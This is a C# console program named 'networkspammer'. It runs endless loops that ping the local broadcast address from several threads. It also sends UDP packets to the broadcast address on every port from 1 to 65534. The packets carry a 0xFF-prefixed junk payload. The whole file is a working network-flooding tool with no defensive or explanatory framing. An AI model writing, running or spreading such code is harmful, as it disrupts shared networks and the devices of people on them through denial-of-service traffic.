﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace networkspammer
{
    class Program
    {
            public static System.Net.Sockets.UdpClient udpclient = new System.Net.Sockets.UdpClient();
            public static System.Net.NetworkInformation.Ping pinger = new System.Net.NetworkInformation.Ping();

            public static string senddata = " \xFF\xFF\xFF\xFF\x6C\x0A\a\a\a\a\a\ayiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiffyiff >:D \x0A";
            public static byte[] bytes = new byte[senddata.Length];

        static void Main(string[] args)
        {
            System.Threading.Thread[] threads = new System.Threading.Thread[Environment.ProcessorCount * 5];
            udpclient.AllowNatTraversal(true);
            udpclient.EnableBroadcast = true;
            UInt32 its = 0;
            int _port;
            string _out = "";

            for (int i = 0; i < Environment.ProcessorCount; i++)
            {
                threads[i] = new System.Threading.Thread(pingvoid);
                threads[i].Start();
            }
            bytes = System.Text.Encoding.ASCII.GetBytes(senddata);
            bytes[0] = bytes[1] = bytes[2] = bytes[3] = 255;

            while (true)
            {
                _port = 1;
                //pinger.Send(System.Net.IPAddress.Broadcast, 1);
                while (_port < 65535)
                {
                    
                    its++;
                    _out = sendpacket(_port);
                    _port++;
                }
                Console.WriteLine(_out + " iteration: " + its.ToString());
            }

        }
        public static void pingvoid()
        {
            System.Net.NetworkInformation.Ping pinger = new System.Net.NetworkInformation.Ping();
            


            while (true)
            {
                Console.WriteLine(pinger.Send(System.Net.IPAddress.Broadcast, 1));
                

            }
        }
        public static string sendpacket(int port)
        {


                udpclient.Send(bytes, 4, new System.Net.IPEndPoint(System.Net.IPAddress.Broadcast, port));
                

            return "send to port " + port.ToString();
        }
    }
}
